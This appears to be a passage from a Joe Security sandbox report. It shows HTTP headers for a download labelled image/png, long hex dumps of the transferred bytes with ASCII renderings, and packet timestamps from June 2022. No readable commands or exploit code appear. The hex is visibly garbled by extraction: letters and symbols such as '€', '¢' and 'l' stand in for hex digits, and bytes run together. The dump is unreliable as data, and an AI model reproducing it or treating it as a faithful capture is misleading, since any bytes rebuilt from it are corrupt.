Upgrade: h2,h2c

Connection: Upgrade, close

Last-Modified: Thu, 23 Jun 2022 12:12:53 GMT
Accept-Ranges: bytes

Content-Length: 821768

Content-Type: image/png

Data Raw: 48 b1 d6 5b 55 4e e7 4a 8b 1c 43 ef ed 65 59 ce e0 06 dd 7d 85 91 32 ec 41 c6 95 dc 9b d5 93 b4 cd b9 a8 88
cd f3 b5 fa cd b9 a8 88 cd f3 b5 fa cd b9 a8 88 cd 3 b5 fa 7d d8 b7 60 9f 42 77 5b 9c b5 d5 b9 63 bb 03 92 08 a7 50 60 b2
7aa2211de28007c7 b6 le 85 1b 74 d1 11 69 33 81 b1 d1 f6 7e bb 8 10 0d 8c 05 b8 f4 83 f7 85 15 a2 bl 6¢ a7 45 da
46 ad 39 8b 15 ae a4 ad 8e fbh b9 69 9f d2 fe 70 7a 17 27 d1 41 d7 43 53 bf a9 f7 cf 60 9c 10 89 ab 39 0f e4 d1 41 6f c9 72
74 5598 d0 96 d7 01 91 5e 21 25 33 ef 9a 6a 15 ea ce 6a 88 9f f1 f9 03 cd 4f a9 32 96 bf c5 85 25 {7 d6 db b5 96 f6 94 52
19 d6 db b5 96 6 94 52 19 b9 bb 89 a0 80 ff e1 05 17 3c fe af 45 ac 16 fd 52 e6 fb a7 ba a3 f6 al 52 e6 fb a7 ba a3 f6 al
53 de a3 42 dc be 0a 83 cd b9 a8 88 cd f3 b5

Data Ascii: HHUNJCeY}2A} Bw[cP z!ti3~IEF9ipz'ACS 9A0rtUN%3jjO2%RR<ERRSB

Data Raw: 36 45 51 ff 8b 04 20 ee 0f 4c 9a al 55 50 1b 78 €8 89 9a f8 68 fc 94 e3 1b 74 c4 3a ac 59 c6 2a c6 a7 47 4e 9c
dc e8 5a 06 94 76 56 5d 12 7a 1f 98 46 3a f5 30 f2 71 39 f3 63 b0 fd eb de 09 29 e9 38 5d 30 8e 05 bb 30 b1 6d 10 4b 12
83 df f5 8¢ 3c 55 7e 66 b3 4e a8 f1 53 b0 6d ef c9 aa 6a 48 ef 58 6d 13 d9 ae a3 57 ef d2 e4 1d c4 b3 05 3 9d 03 53 45 81
10 1f e8 4e 9c 8a b2 86 8a 9 07 7b 99 de 52 06 66 66 c2 80 bd 37 a9 e4 e6 83 b0 58 ea f4 89 08 b5 30 e2 6¢ be b6 57
81 d7 b9 c2 32 7b 3a 9c 1a 90 c7 Of 6e 12 23 09 2c a3 40 69 89 a6 2c 98 d6 1e e4 2f 51 cc 8d de 85 85 83 ac c3 3e 98 57
64 fa ea 80 a3 5d 30 8e 05 bb 30 b1 6d 10 4b 12 83 df f5 8¢ 3c 05 57 85 6b ¢9 29 4b 90 ca €8 5c 8f 6a 46 76 fe cf 81 92
60 9d 35 09 d6 €0 d6 b3 ea Of 7d 6b 7a 53 bb d7 1d ce

Data Ascii: 6EQ LUPxht:Y*GNZvV]zF:099¢)8]00mK<U~fNSmjHXmWSEN{Rff7X0IW2{:n#,@i,/Q>Wd]00mK<WKk)K\jFv'5}
kzS

Data Raw: f4 64 ac 1a f4 9d d4 5a 13 e0 23 6a 5b 82 f1 b5 8e 25 18 eb 77 ae fc fe al 31 62 fb 38 b5 96 88 f9 4a de c8 56
94 b8 8e f2 94 59 48 6¢ cc 54 92 93 64 6f d0 82 31 65 1b 3d 5d 1b 30 85 5e 33 ab 63 35 a4 23 b6 68 8b ea 33 06 c4 bf Ob
7a 65 dc 94 02 22 94 3e 8d 55 6a 85 9a 40 d0 2b 1c 43 0a 7d 99 el 75 d8 f9 1b e9 41 80 26 ff fc 23 d7 91 {7 81 cf 18 7e
f5 26 8f Ob 5e fe ¢8 ac 59 f3 b8 a5 02 c2 f9 dd 88 04 ad 1b 62 0d 21 ee 37 a2 16 01 d8 8551 73 cd d8 11 e8 d9 e7 79 4a
bf 95 b9 9e 3e 56 5f c8 54 a2 fc 4d 8d 28 32 2e c4 8c 0d dO 14 16 30 67 c8 62 a5 3c 29 aa 8a 06 32 b6 2b 98 96 73 8 91
a2 c5 ef e7 33 01 99 16 bc 4f 02 3¢ 54 1b 92 9f 2d 27 a8 51 72 86 35 a7 85 dc 32 60 de 6e af 06 c6 8a fc 83 cf 9a fa e3 a3
72 e5 e0 7d 4b 5f ce 26 2¢ 0d d1 99 1f b6 47 80 91

Data Ascii: dZ#j[%w1b8JVYHITdole=]0"3c5#h3ze">Uj@+CIuA&#~&Yb!7QsyJ>V_TM(2.0gb<)2+s30<T-'Qr52'nr}K_&,G

Data Raw: bl 6d 40 b4 ae bl 9a 29 d6 40 df 15 d5 0a ae 24 94 b8 26 df 00 3a 69 74 39 54 82 29 92 5 9c fc 90 ca c8 el
48 5f 6b 82 €9 47 ca 67 cb 50 €2 01 ¢6 60 5¢ d5 93 d8 ef 3a 6a da be b4 fb 7d bd f6 bb 1b 3d 45 05 5e 9e 47 63 24 ac 3d
e8 ee 70 3f al 58 68 37 1c 1f 39 18 b0 e2 b2 5¢ af d4 1a 31 fe 4d 78 c8 8¢ 10 50 68 53 55 97 Ob 87 4d f0 8¢ 15 7b Of d6
9c b5 ¢3 be 16 ae ¢l ¢l 02 25 b3 b0 b3 29 el c1 4c 9f 20 d3 b4 28 3d 16 83 b6 9d 39 b6 e8 37 cb 60 30 e7 b0 76 34 38 19
7035 87 38 da 99 al 37 €6 ce el d3 b5 86 d1 79 5b d6 ff 7 51 33 4f 26 97 ¢8 5a d1 07 f6 ¢3 3¢ 65 9b 99 74 2 fb d5 85 af
b4 b2 5a 2a b0 0a 5d 90 6¢ 6e 3a 2d 66 38 d4 2f 36 3e 17 a5 82 ¢3 3¢ 65 9b 99 74 2¢ tb 44 €3 b9 a3 d7 99 Oc d5 97 8f 96
03 14 0c 79 0d 04 cO 82 4f 43 d9 66 dc fc a3 72 52 ab

Data Ascii: m@)@$&:it9T)H_kGgP \ij}=EAGc$=p?Xh79\IMxPhSUM{%)L (=97 048p587y[Q308&Z<et,Z*In:-f8/6><et
DyOCfrR

Data Raw: 25 1f 36 67 be cf 33 bb 94 f6 ca 53 b4 fe eb d6 b4 eb 78 10 45 48 4b 47 bd 83 e6 7d e5 c3 5b 3a fa ef 99 25 2d
52 65 fd 35 e6 4d 58 ed 1d 4a 32 32 59 34 29 fe 00 e8 fe 44 72 56 5d b0 89 fd 3f c3 04 dc d3 dd el 4f 4e 61 d6 7a 75 75
b8 f0 68 da 52 c6 d3 a0 55 6d db fc 81 2a 62 a2 e8 c5 e6 72 9d 47 e0 c8 01 e2 be 83 b2 c6 d3 a0 55 6d db fc 81 2a 62 a2
e8c5e6729d 12 e8 78 6d 5 49 92 7 62 f9 2¢ 55 Oc 19 ac d2 85 9e 58 39 40 c6 3b 6e 92 1d c1 71 a6 86 25 9f 9c bf 1d
27 14 75 bd af 85 9e 58 39 40 c6 3b 6e b7 19 fc c1 ae 1d b8 5b cc cc ¢7 37 Ob 7e 11 e2 58 16 33 f1 Oc 92 aa Oe 79 dO f2
9b 36 69 ce 58 b0 ¢5 67 83 3e d3 11 cd 8a b2 a5 a3 c8 54 de f0 77 99 6a 67 26 ce 1a 97 02 3f 66 38 aa da b8 12 a3 3d
5e b4 75 ¢8 78 b5 6a 5¢ da b6 f0 8e c2 02 f9 9d d4 64 d6

Data Ascii: %693SXEHKG}[:%-Re5MXJ22Y4)DrV]?0NazuuhRUm*brGUm*brxmlb,UX9@;nq%'uX9@;n[7~X3y6i
Xg>Twjg&?f8="uxj\d

Data Raw: c7 6d 95 8b 14 fd 3e d9 74 6a ef 3e 5a 75 35 a9 d3 c2 a5 b6 2b Oc 76 el a5 71 72 ba 60 cb b9 2a a3 48 e7 28
99 f3 al ba 67 74 c4 Oa bd e2 40 1a 12 f9 69 24 54 1c 28 86 95 08 94 c4 4f a4 6a bc ¢6 92 cc eb ab 53 bf 99 5a 1c 41 cd
e3 bc f7 d0 7c 1c f6 €3 54 6¢ e7 Oe 72 26 ef 64 ec 1d 15 d8 ce 16 c4 4d c4 b4 60 30 36 24 5b 48 02 2e 8d d6 ec 21 88 df
6282 67 99 27 cd 4b c9 33 03 fd af d5 2e 59 00 a3 fa 39 bc f8 70 cb a4 c5 2d ec 36 2a 7d 6f 97 6f 7d dc e0 9c bb 47 09
8a 55 91 3b Of df d4 Ob 4d ed 1f 66 7a cf da d3 2c 0a f5 63 29 33 d6 0d e6 f4 63 Ob e2 43 d4 13 f7 el 59 aa d3 b6 eb 28
ae 1c al 8ael 74 b8 74 f5 c4 94 70 d3 24 03 1f d6 Oe 69 cO 3f a4 97 8b be 29 e8 f4 37 df 3 aa 69 43 1d 13 af ea 29 93 78
95 14 17 3d 4f c4 0d 87 2b 38 d7 6f 1a 6f bd 54 c8 6f

Data Ascii: m>tj>Zu5+var*H(gt@i$T(OjSZA|TIr&dM 06$[H.!bg'K3.Y9p-6*}00}GU;Mfz,c)3cCY (ttp$i?) 7iC)x=0+8o0To

Data Raw: 7b 2e 87 d9 ee 9a 28 50 5¢ c2 ea 5a 04 76 f1 18 54 €9 a4 52 db 33 74 48 fd a9 a4 96 63 8b 54 78 94 83 a3 16
01 05 ca 8c a0 98 02 06 45 €9 74 a3 70 50 19 77 b5 8¢ 61 e3 63 04 09 1c 8d f9 22 d5 3b d6 cl 4d 7c 24 32 d6 44 7b fO b8
Oa bb 39 ba 34 e9 a5 7a 06 Oc 88 29 24 9f 87 fc 86 c3 1a 60 a5 d8 24 7b d1 88 d8 cd a9 09 c5 4c 03 4d 89 98 69 e 85 9e
5839 40 c6 3b 6e c9 52 26 83 e4 3b 0 0b 91 e4 4c fb eb 8 d5 05 5a 32 da bd Ob 70 5d 9c 7e 3e 53 aa fd a8 d5 28 16 c6
77 3fd5 74 7e de 43 9f d8 98 08 6d 11 18 1d a9 26 3c 57 fc 8a be f0 4a b9 9f 72 Oe al bc 48 19 e6 2e Oe 6f 46 7c bl 42
87 06 38 98 da 05 ff 87 a6 80 d0 8a bd 51 55 ¢9 51 Oc fe d3 c6 68 00 3f f5 57 ee 30 d1 al 3e 25 07 db c1 cd b5 22 c7 34
59 9f 25 ac d6 17 a8 8c 2d ca 73 00 b9 db 1c al bl a2 cc

Data Ascii: {.(P\ZVTR3tHCcTXEtpPwac";M|$2D{942)$ ${LMiX9@;nR&;LZ2p]~>S(w?t~Cm&<WJIrH.oF|BBQUQh?W0>%"4Y
%-s
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kBytes

Timestamp transferred Direction
2022-06-23 16:20:18 UTC 1662 IN
2022-06-23 16:20:18 UTC 1670 IN
2022-06-23 16:20:18 UTC 1678 IN
2022-06-23 16:20:18 UTC 1686 IN
2022-06-23 16:20:18 UTC 1694 IN
2022-06-23 16:20:18 UTC 1701 IN
2022-06-23 16:20:18 UTC 1709 IN
2022-06-23 16:20:18 UTC 1717 IN
2022-06-23 16:20:18 UTC 1725 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 5e al 9c 81 al 47 d2 78 b2 57 99 46 90 ba 24 76 74 1f fe 11 c3 cb ce 84 35 9b 05 4b 87 2c 44 6e €6 64 d2 2a
a2 4f 9e 53 7¢ 18 0f a6 a2 51 ad 1c ca 16 c3 64 a5 5b 95 32 0f ea 89 fd 91 d8 d9 af fe 9f fd f8 64 a5 8d d3 55 ea 63 €8 b4
5390 18 ea 03 be 1e 44 2d 5e b1 63 01 el fd 91 ea 68 6b 18 be b2 e6 ff 14 2d c9 f3 59 c2 1e b9 66 cc b8 aa cl bd 73 c6
fb 64 a9 de 57 al 82 6b 39 df 40 84 e8 a4 52 db 33 74 48 fd a9 be d7 2c e7 84 48 5f a0 b8 2f df dO 9d dc 56 60 b2 49 ce
bc 63 78 aa 95 5b 68 09 18 98 c9 bb 09 03 54 24 c1 19 c4 df 96 c0 2c f3 52 d6 Oa dc 80 37 ee 63 72 fd 15 7b 2e f1 aa 54
6e 74 87 97 e2 ec 6a d9 9b 1a 2e d7 aa b7 b5 d8 05 28 92 80 b7 4b d8 f4 de da 2f 55 69 43 4a 27 24 a8 39 f1 b5 a2 Oe
b2 a3 73 ef de 12 a4 52 db 33 74 48 fd a9 be d7 2c e7 84

Data Ascii: "GXWF$vt5K,Dnd*0S|Qd[2dUcSD-"chk-YfsdWkI@R3tH,H_/V lcx[hT$,R7cr{. Tntj.(K/UiCJ' $9sR3tH,

Data Raw: 40 81 e5 f8 49 63 d9 2d 29 b7 88 f1 75 25 ae ac 2c be fe 66 e6 35 8a 50 77 60 62 03 f1 49 65 3b 99 a5 c4 36 df
26 31 ef 11 87 57 c¢9 72 ff 2f 36 40 81 1a e4 al b6 4d 52 3d 49 88 f1 75 25 ae ac 2c be 1f ed 51 6¢ 9e 4b e4 1d ce 66 91
47 93 79 6a 04 c4 36 df 26 31 ef 11 87 57 c9 72 ff 2f 36 40 81 1f 3a 79 14 a0 f6 1a b5 88 f1 75 25 ae ac 2c be 9b el c8 92
7f d5 be 25 d1 ff 18 cf 2e bb 02 8d c4 36 df 26 31 ef 11 87 57 c9 72 ff 2f 36 40 81 e3 5¢ 4c 62 f3 2a 9a 3f 88 f1 75 25 ae

ac 2c be a9 4a 94 60 3a 8b 4b d7 16 0d 56 a2 a9 13 b2 b2 c4 36 df 26 31 ef 11 87 57 c9 72 ff 2f 36 40 81 e8 3d d9 3b 9f
68 f9 f6 88 f1 75 25 ae ac 2c be 7a 9f 82 71 71 ¢3 9c ec 86 9a 20 04 b4 64 f2 1c c4 36 df 26 31 ef 11 87 57 c9 72 ff 2f 36
40 81 1c f1 f5 96 06 34 35 c6 88 f1 75 25 ae

Data Ascii: @Ic-)u%,f5Pw ble;6&1Wr/6 @MR=I1u%,QIKfGyj6&1Wr/6@:yu%,%.6&1Wr/6 @\Lb*?u%,J :KV6&1Wr/6 @=;hu%
,zqq d6&1Wr/6@45u%

Data Raw: bc 08 Of 5a f4 d1 9f e4 a4 32 94 f4 6a de d9 74 41 c9 fe 51 a6 6a 04 c2 6¢ b4 35 fb 78 9f 59 32 79 cc 78 ef 94
28 fa e5 85 b2 ee 6b 20 80 d5 ba 17 a3 49 32 d6 da 67 f4 5¢ bd 1e b9 6f 6¢ 7c 17 72 58 5b 28 ef 01 ab 21 bf 57 93 ce 44
35 {7 04 f2 ae 5d 2d 2e b3 91 6a 08 fc e8 ce 9e 15 8d 29 63 b3 48 d7 b5 a9 ec 51 99 81 c5 f0 4e Oe 50 fb b6 6e aa 03 be
€9 93 1c f2 4b 79 60 81 ef ad f1 bc 6b 49 ff 5a cc d1 fa bl 36 fe 62 e0 08 30 09 fc d9 €8 9d 66 08 9b 1c Oa 71 f2 af 32 3f
a0 e2 ae 58 Oe 3c 59 ea aa 5b b7 ¢3 05 2c b4 al 24 1e 69 85 Ob 50 b8 ae c6 27 23 38 ca c3 73 28 1f 81 4b 2b 57 d2 98
€8 43 34 c8c0 20 64 97 51 a0 6a ea 8f €3 f5 24 c1 f2 a0 eb de 5f 53 1f 9c 90 88 4e 16 6a 7f 99 b2 f0 e5 89 6e 32 be 36
00 2c 84 86 b8 7f a8 85 €8 b2 47 3b f6 Oc 8a 47 Oc a0

Data Ascii: Z2jtAQjI5xY2yx(k 12g\ol|rX[('WD5]-.j)cHQNPnKy kIZ6b0fq2?X<Y[,$iP'#8s(K+WC4 dQj$_SNjn26,G;G

Data Raw: d2 df 47 c2 80 cb 5b 85 d6 7c 14 be 6¢ 33 d8 41 c4 fe e3 c9 51 a9 25 3a bc ae 5f a2 f0 4c 78 ac al 6e 58 6d 1le
05 d2 caf2 7e 4452 4b a8 77 9d 2a 11 69 ae 55 da 65 7e a2 48 37 91 b2 d6 20 9c c7 15 3faa el 49 28 91 31 18 51 68
16 53 3d db 18 bb 74 0f 39 6b e5 a2 a8 c4 d0 6¢ da 74 2d 90 0d 19 a4 8c 42 77 5e €7 72 e3 af 35 b1 50 36 90 26 23 3e
28 dec2 11 f6 e3 1c 0a 94 eb 7c 6¢ 5¢ 01 4c e3 ¢9 51 a9 25 3a bc ae 5f a2 fO 4¢c 78 ac al 6e 65 8e 8c e4 4e 13 09 99 53
8e fa de f1 e8 9a 31 57 30 c7 f1 9e 62 90 f9 d3 31 9c dc 7a 8b f2 66 9e 16 15 9f f3 fd 9e db f9 ee 42 38 d5 bl a8 1c 20 87
€140 a7 ca 3e 44 49 c0 73 19 d9 df 44 1d 00 42 6a 61 2e d1 95 7d 82 42 af 2d 95 fa 51 9e 77 2b 4b a4 c6 8d b6 2c 7d 95
2c d4 ba cc 17 57 f6 Ob 43 b1 d4 2 1c 07 59 00 b9 a4 ea

Data Ascii: G[|I3AQ%:_LxnXm~DRKw*iUe~H7 ?I(1QhS=t9klt-Bw"r5P6&#>(|\LQ%:_LxneNS1W0b1zfB8 @>DIsDBja.}B-
Qw+K,},WCY

Data Raw: 5f 32 34 3d fa fe 74 36 38 b7 70 13 20 f1 4f 31 66 73 c8 d2 75 4b 40 53 7a ba 96 43 6f b9 95 6d ea a8 12 64 c9
96 fc db el b3 da 58 d6 22 2c 88 42 86 16 eb 32 12 cf 10 bd 6e €9 12 c6 10 09 de bf f4 7b 23 c1 3f 71 d6 5e 3d 18 89 1d
70 6f 94 69 c7 45 67 fe e6 b3 81 16 95 2c 1c 83 3f 3d 68 a0 3a 3d f1 f5 88 77 61 25 ab 8a 1a 99 53 2d 14 26 e8 9d 3b 92
26 5c 81 4b 7f 65 ea fb 01 e4 d0 8b e0 ef f3 5e a0 1f df 23 08 39 3b 8a 02 40 f9 51 14 c7 f8 9a bb 1d 9 a2 eb Oa c5 19 da
0d 73 4e 4b 57 6c 63 a0 1f d3 35 ea dc 74 29 8e 6f a4 81 8¢ 5f 6f 3 5f 5¢ 76 67 03 ce 95 b5 79 6e 78 b3 28 Oa b8 09 b8
d5 825217 72 08 49 db 75 3a 0b 61 el a0 cc 16 d1 33 31 6f bl 56 34 5d 2a fe 47 35 34 6d d9 41 26 3f c3 e5 23 9e 70 a4
e9 9e cl cb c0 8c 06 d4 71 3f 4e 76 5b a6 Of bb 7e

Data Ascii: _24=t68p O1fsuK@SzComdX",B2n{#?q"=poiEg,?=h:=wa%S-&;&\Ke #9; @QsNKWIc5t)o_o_\vgynx(Rrlu:a
310VA]*G54mA&?#pq?Nv[~

Data Raw: 43 74 5a €3 76 c2 bb 56 6¢ 05 4d c7 16 99 2c 7b b6 8c cc 4d e9 dd 52 df 6d 57 67 82 5f 13 2d 40 65 3a 53 33
6d 85 28 30 13 63 c0 98 a2 f8 ef 62 bc 1e f1 7a 7b 94 7e 6b 52 5e a8 3f 8d 2b a8 2f 4f ab fO ea f5 05 24 84 b7 a7 04 f9 10
11 2c 6¢ ed 90 4e a8 6b 71 3e 3b b6 €6 06 5¢ 12 99 19 e8 bb 21 3d 26 3a 8c a9 a2 9f 13 bf el 59 31 92 Oc f4 37 e4 b2 58
9d 22 60 e3 f7 94 b6 9a 66 e4 87 b4 7f 21 43 63 02 a7 30 ae af b0 46 3 be ad 36 7b bf 14 76 c7 f9 88 36 2c 61 f2 05 5f 02
€6 d4 0d ff c4 48 ab 8d 4a 84 3b c1 77 d8 01 60 9c ed 4e 2b f1 65 3a 3d 54 11 0a 91 6e d9 09 le 87 6f cf 2b 20 8f 4a 06
58 b5 f6 24 5b b4 el 61 69 83 8f e3 df bb de 11 99 db 48 14 71 f4 95 35 f8 9c f2 79 e2 41 fe ca 3a f1 25 5b 41 al 1c 87 d5
b4 Oc 7e b7 c9 38 3f bc ae 1b ¢3 d2 1f 10 d9 86

Data Ascii: CtZvVIM {MRmWg_-@e:S3m(0cbz{~kR"?+/0$,INkg>;\!=&:Y17X" fICcOF6{v6,a_HJ;w N+e:=Tno+ JX$[a
iHg5yA:%[A~8?

Data Raw: 34 ba be 88 56 cb 94 a6 c2 a6 f0 4b 19 7b fb 1f 54 28 06 ea Oe 98 02 4b 50 ac 39 bl b3 de 7e 91 f6 d4 58 e4
2521 a5 77 bl cb 9e e4 f9 24 07 77 e2 09 el 36 30 2a f4 €6 66 cc 25 ab 8f 5¢ 4e 24 25 17 a3 26 d3 40 52 64 51 b6 10 96
le f5 f4 ef 16 3e 90 95 30 f8 4f b4 b8 30 ca 3a 21 c0 33 40 bc 4d 54 12 b3 8d 21 ff a7 4c 88 Oe ab 86 c2 c7 Ob 91 47 85 36
ed a9 92 6 d6 8d 51 b8 c6 7e 40 ca 94 a3 33 d9 f3 f2 9a 22 €9 d6 35 87 e0 5d 55 2b c1 a2 8f 0d 57 5a aa 3e bd ba d3 cf
25 ba 54 01 85 a7 4e cf bf 71 cd f4 b9 78 b3 b7 €7 a9 76 5a bd 3f 2f 4c 88 a8 0f 3e 0d 48 48 df 18 be 14 4f 12 2f 59 91 a5
0a 07 b6 65 8 21 bf 39 8b 8¢ 54 48 37 ae 17 80 b6 c5 d6 eb b6 68 €0 5d 60 al e2 3b 23 5f f8 0f 60 af 9e 6d 69 8c 72 29
€307 03 e6 a9 6d 3c 74 a3 74 07 a2 c5 a2 96 85 6d

Data Ascii: 4VK{T(KP9~X%!w$w60*f%\N$%&@RdQ>000:!3@MT!LG6Q~@3"5]U+WZ>%TNagxvZ?/L>HHO/Ye!9TH7
h]';#_"mir)m<ttm

Data Raw: b3 aa 85 f6 bl 43 03 af 9a f0 fb 3d d2 cf d6 37 da 3e 58 3f d5 9c b8 b7 ba 89 f2 6f ef 75 3¢ d2 52 75 25 0f 69 ef
1a 27 4c 64 65 40 5c be 61 93 26 2c af cc ¢3 Oc b8 81 15 5a 2a d9 24 22 5f 0d 30 96 9a e5 3e 9a d9 52 a4 e8 ea 51 30
78 6e 63 17 7b b5 3f de be 97 3b 94 5a Oe 97 d5 c4 e8 a4 8b 23 c0 02 0d ¢6 2c 73 80 53 42 4c 7f 30 e1 b0 d9 32 98 2e 2c
08 d9 c0 98 24 ec 31 0a 23 31 6d 5b 77 98 bb 94 0f ef a6 89 b7 2e 57 6a 31 13 88 ¢4 7a dc 05 c7 5¢ 8a 81 ed 06 86 a4 62
43 b6 c7 da 61 b6 Of 46 09 a4 e5 37 ef 5a b5 47 1f bc 5d 87 ¢3 cd b9 a8 88 cd 3 b5 fa 12 9a ab 38 7b a6 03 cb 66 Ob ff 53
a6 29 5f 56 f6 b6 aa 3c d1 e5 7c c0 67 0a c1 e0 8f 6b 5d 41 e6 2d d2 35 72 da e3 el 43 17 1e 63 1b e2 04 2b 46 b4 b8 1b
52 d0 2e 77 1d al el da aa 99 98 c0 28 20 4d e3 68

Data Ascii: C=7>X?0u<Ru%i'Lde@\a&,Z*$"_0>RQOxnc{?;Z#,sSBL02.,$1#1m[w.Wjlz\bCaF7ZG]8{fS)_V<|gk]A-5rCc
+FR.w( Mh

Data Raw: 44 31 69 4d ba a0 48 43 fd 84 32 99 64 31 c7 e6 6d c0 f6 c1 34 3d 76 d2 47 3 95 ec bf 1c 95 65 de aa 37 91
b2 d6 20 9c ¢7 15 cc 2a 2a c5 e7 d6 38 ad a9 22 95 ba df 87 34 Of bb Oa ae 43 71 09 d2 ee 90 01 c4 85 bf d0 29 63 73 ea
c0 b9 4e 58 84 dd 6e 70 bd 04 94 9c c5 0f bc e9 ae 9f 6e c6 b2 07 62 03 b2 6f dc c8 52 da d4 5b d8 f1 2e 97 bb 59 Ob 75
84 be 16 fd b0 79 a9 22 95 ba df 87 34 0f bb 0a ae 43 71 09 d2 ee 5b a7 dd 49 1le 92 16 40 73 ea c0 b9 4e 58 84 dd 6e 70
bd 04 94 9c ¢5 0f 93 46 34 b9 70 1c e4 77 cb c8 e2 f4 b7 d8 4d 97 c8 12 ea f6 5f ce 8b 04 Oc 55 b9 41 93 20 dO 5e 3c 27
e4 6b e9 fc 02 f4 28 15 8d 04 7e a0 21 79 42 74 71 25 79 b6 d8 47 2a df da 70 4b 6f 11 4d Oe b4 25 5e 92 22 76 9b 75 57
00 Oe b8 66 89 f8 49 ee 9a 67 42 29 03 9e 04 a0 bf f8 7e

Data Ascii: D1iIMHC2d1m4=vGe7 **8"4Cq)csNXnpnboR([.Yuy"4Cq[l@sNXnpF4pwM_UA *<'k(~!yBtq%yG*pKoM%"vuWil
gB)~
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Data

Data Raw: 55 be c8 f9 f4 9f 53 d7 6f 7a 6d Oe Oa 06 2e 3b 21 44 bc 3e 87 79 cf 5d 86 83 af cc ¢3 Oc b8 81 15 5a 7d 8c d8
bd ad 39 9d 8 db 2a c0 31 35 8b 3e 48 f0 20 83 49 d1 fb b4 48 c9 32 2c ae fd 7a 89 16 47 2c b5 ef 57 1b 1c a2 b2 2c 68
ac 97 ¢3 81 62 fd 45 00 be 6b b3 ac 21 ac da da 75 7f 52 3b 87 6e b4 5a 14 ca 67 46 82 39 e2 20 1f 35 b5 80 10 ce b8 6d
6e c4 8d c3 4d 33 75 89 7e 82 93 cf c7 32 a0 53 ff 19 87 87 27 af cc ¢3 Oc b8 81 15 5a 62 27 a8 59 07 15 9d d6 67 92 41
30 b8 d2 07 5¢ cc 47 el cf 81 b0 7d d1 eb d5 63 08 43 b7 b1 64 66 69 70 c5 58 db b0 9b 5b 3c f8 9e 3¢ 1a 2a f5 76 03 41
05 7b c2 a9 30 e2 fb af 6e b4 14 5e 7c 38 97 84 5b b0 b7 62 b3 79 ca 92 2f c0 2c Ob a8 b7 2f 1a a0 80 f4 2¢ 43 1f 2b b5
e5 51 ae 31 fc 2b b2 ca 57 0a e5 da 73 c6 25 e7 a3 5f

Data Ascii: USozm.;!D>y]Z}9*15>H IH2,zG,W,hbEk!uR;nZgF9 5mnM3u~2S'Zb'Y gA0\G}cCdfipX[<<*vA{On"|8[by/,
1,C+Q1+Ws%_

Data Raw: 8f 7 a6 58 06 59 df ea e8 61 17 87 49 40 a2 6e 20 26 f0 9a 5b 09 d4 72 97 90 5d a3 ba e8 02 87 a6 ee 1d 9b
12 fa ef da d3 fe 61 00 05 f9 17 a7 ed 3f 8b c1 89 dc 5¢ 94 c0 90 4b e6 1b 80 a9 d4 08 a2 6f f8 db 82 9f ea 1b c0 c6 f5 29
e3 ba el f8 a5 92 23 b8 3b 40 5¢ Ob b4 6e ce de ae 94 e4 ee 19 fd 60 Oa 6d fO eb e6 e5 2e 0d 78 29 2a 8a 5 4b 4e 67 a9
df df Oc 18 a0 91 2a 06 b6 Oc 5 a7 4c b4 ea 87 57 bd 9b 4b 1b ce 73 5b 5¢ 5¢ c0 aa 23 a4 54 87 dd 23 12 3¢ d3 17 17 80
6b ff 29 5f c3 2a 62 a2 e8 c5 e6 72 9d 31 62 6e a3 69 a2 70 cd 60 70 94 e6 9a 31 8f 29 f3 94 b0 2f 06 18 c1 a0 e4 71 06
13 53 43 25 25 96 ab c3 4c 05 ec 5e 11 37 2f Oe ab e8 b5 9a 9c ac 97 b5 b5 b7 4a f3 e3 a0 b9 c4 17 ed 39 e7 ca d6 79 93
f1 15 7d 32 67 d1 df 1d 3e 18 b7 f6 61 €5 82 72 77 79

Data Ascii: XYal@n &[r]a?\Ko)#;@\n ' m.x)*KNg*LWKs[\#T#<k)_*brlbnip’pl)/qSC%%L"7/39y}2g>arwy

Data Raw: a3 04 23 9f e7 72 ee 86 8c 81 22 4d 3e 3a 50 9a 11 c8 9f 5f b3 5e bf d5 22 7f c3 dO b3 bd 35 94 ae 21 9c 9d 64
d5 ff 01 16 ¢7 78 e3 9f ab ac 31 63 d3 e4 08 55 63 6¢ b7 44 75 92 b6 23 06 ce Oe 10 ca 7f 47 0a c0 0f 99 9a c7 5a 6¢ ef 3
68 1c €8 27 35 9b c0 29 99 4e dc e0 66 21 56 80 33 98 2c 6b ae 19 ec 9b 1f bb Ob af 3d 6f 81 98 8a ae fb 39 cb c8 e2 f4
b7 d8 4d 97 6e 63 3f 27 2d 5f 7a 2f d5 2f 49 9b ae 96 1b 33 14 94 al e9 57 25 53 b0 ff 4d 6b 9d ec 5f 67 19 8f 89 65 b5 f5
c873 3e 5¢ 34 al b9 fb 9a 77 94 92 b6 23 06 ce Oe 10 ca bf b9 26 0d 64 9a f8 84 9d e0 33 15 84 2d ca 2c 62 8f 7c c¢7 19
b4 06 5a 6f bb af f5 d1 c1 05 3d 11 c3 06 a6 eb el 2e d2 8b 1f f1 f2 5a 06 ba de d8 92 f5 9b b9 2f 7f 4¢c 71 7f 3e ef fO 4d e3
d0 79 18 1b de b8 78 74 88 68 29 4d 33 b2

Data Ascii: #r"M>:P_""5ldx1cUcIDu#GZIh'5)NflV3,k=09Mnc?'-_z//1I3W%SMk_ges>\dw#&d3-,b|Zo=.Z/Lq>Myxth)M3

Data Raw: 2a 7f 7f 26 Oa b9 58 c9 65 a2 fb cf 67 d7 73 2b d7 a2 49 b2 bb 18 ec 24 b1 86 a2 31 29 18 bf 8b 52 d6 62 22
99 61 9a 8d 7b c8 35 aa 5e bd 8b 5a 19 1d 8e 04 6a 2d 61 4c c6 Ob 19 06 35 56 2a 6e 06 7c d9 ab 24 8b c8 e6 de a2 8a
2f 76 db d8 00 57 dc 10 8b a9 50 66 69 bl 9e a2 a6 6a 16 e7 21 4f 1a 30 90 7b 17 6e cO f3 7e db f8 10 95 f8 fb 3f 87 b5
10 aa 25 07 de b0 c5 4e 23 e5 b7 90 85 57 6¢ 04 97 58 23 2b b9 19 7f 5f 86 22 a5 07 20 86 ed bl 1d cd 7a 20 ca 6c 2f 81
00 ce 45 20 2d 92 24 ea b9 02 78 0d 86 bd 2c 51 8a dd a3 88 ca 87 89 d1 1b 12 77 dc 91 ca 78 c4 4b b3 b3 18 e4 e8 7c
b6 ab ba 0f b0 2c 19 73 a3 0d ca d9 4d af be 54 34 4d 5d 9d 22 14 d8 ac 63 22 de 61 b0 ca 98 c5 63 4f db eb 4e 94 b3 63
df a7 0f dd 35 f9 f6 5 59 90 e4 48 a2 7b e6 b2 b2 29 b6 4e ee

